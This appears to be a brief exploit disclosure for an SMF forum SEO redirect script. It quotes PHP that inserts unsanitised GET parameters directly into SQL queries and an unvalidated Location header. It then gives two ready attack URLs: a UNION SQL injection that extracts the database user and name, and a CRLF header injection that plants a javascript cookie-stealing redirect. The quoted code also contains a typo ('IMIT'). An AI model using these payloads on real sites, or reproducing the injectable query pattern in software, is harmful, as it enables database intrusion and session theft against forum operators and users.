$topic = $_GET['t'];
$board = $_GET['b'];
$other = $_GET['o'];
$user = $_GET['u'];
$tpage = $_GET['p'];
$action = $_GET['a'];
$param = $_GET['param'];

$query = db_query("
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
WHERE m.ID_TOPIC = $topic
AND m.ID_BOARD = b.ID_BOARD
IMIT 1", __FILE__, __LINE__);

$query = db_query("
SELECT name FROM {$db_prefix}boards AS b
WHERE ID_BOARD = $board
LIMIT 1", __FILE__, __LINE__);

$request = db_query("SELECT memberName FROM {$db_prefix}members where
ID_MEMBER=".$user." limit 1", __FILE__, __LINE__);

$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
id=".$tpage." limit 1", __FILE__, __LINE__);

http://site/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...,concat(username(),database()) –

if(!empty($url)){
 header('HTTP/1.1 301 Moved Permanently');
 header('Location: '.$url);
 exit;
}

http://site/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);